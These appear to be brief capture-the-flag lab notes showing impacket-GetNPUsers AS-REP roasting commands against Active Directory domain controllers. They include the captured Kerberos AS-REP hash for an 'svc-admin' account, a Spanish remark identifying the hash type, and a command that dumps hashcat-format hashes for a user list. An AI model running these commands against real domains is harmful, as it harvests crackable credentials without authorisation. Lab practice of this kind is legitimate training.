impacket-GetNPUsers spookysec.local/svc-admin -dc-ip 10.10.173.162 -no-pass

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for svc-admin [email protected]:27bb1e96910b43d1ba7df3f7dff00133$899d519007c0abde138c6ac8e7ad1dd9c650ec7cb65e76f91d9a04121e91367d4394143f202eb7fbdd625b217dddfde1a7694a17629779dd74a44c37d12e549fd86c88a2279e9d236fc75f1d8be5a457e8d10aae61ec00fb9df664809d52e0aa4fe2c7ff835881471daac9f61f678a8b001378891cb735b237387a32255ff177e3101c6ea6f5f622c06ad3a97a9abcf48d994aaf055844f4cffe0330cc3e1f7811b80e92ff16f446b8d1678571644f4bf800f5ed420c7203cf7e02389ab0afaf4652bbd74d2fac12166079e83c091046722aed50a97a3f867da65c7b1ba6f75dcd3ea7196ec9784c6f7476dfdf1c3cf53ad9

es un hash Kerberos 5 AS-REP

impacket-GetNPUsers ‘EGOTISTICAL-BANK.LOCAL/’ -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip 10.10.10.175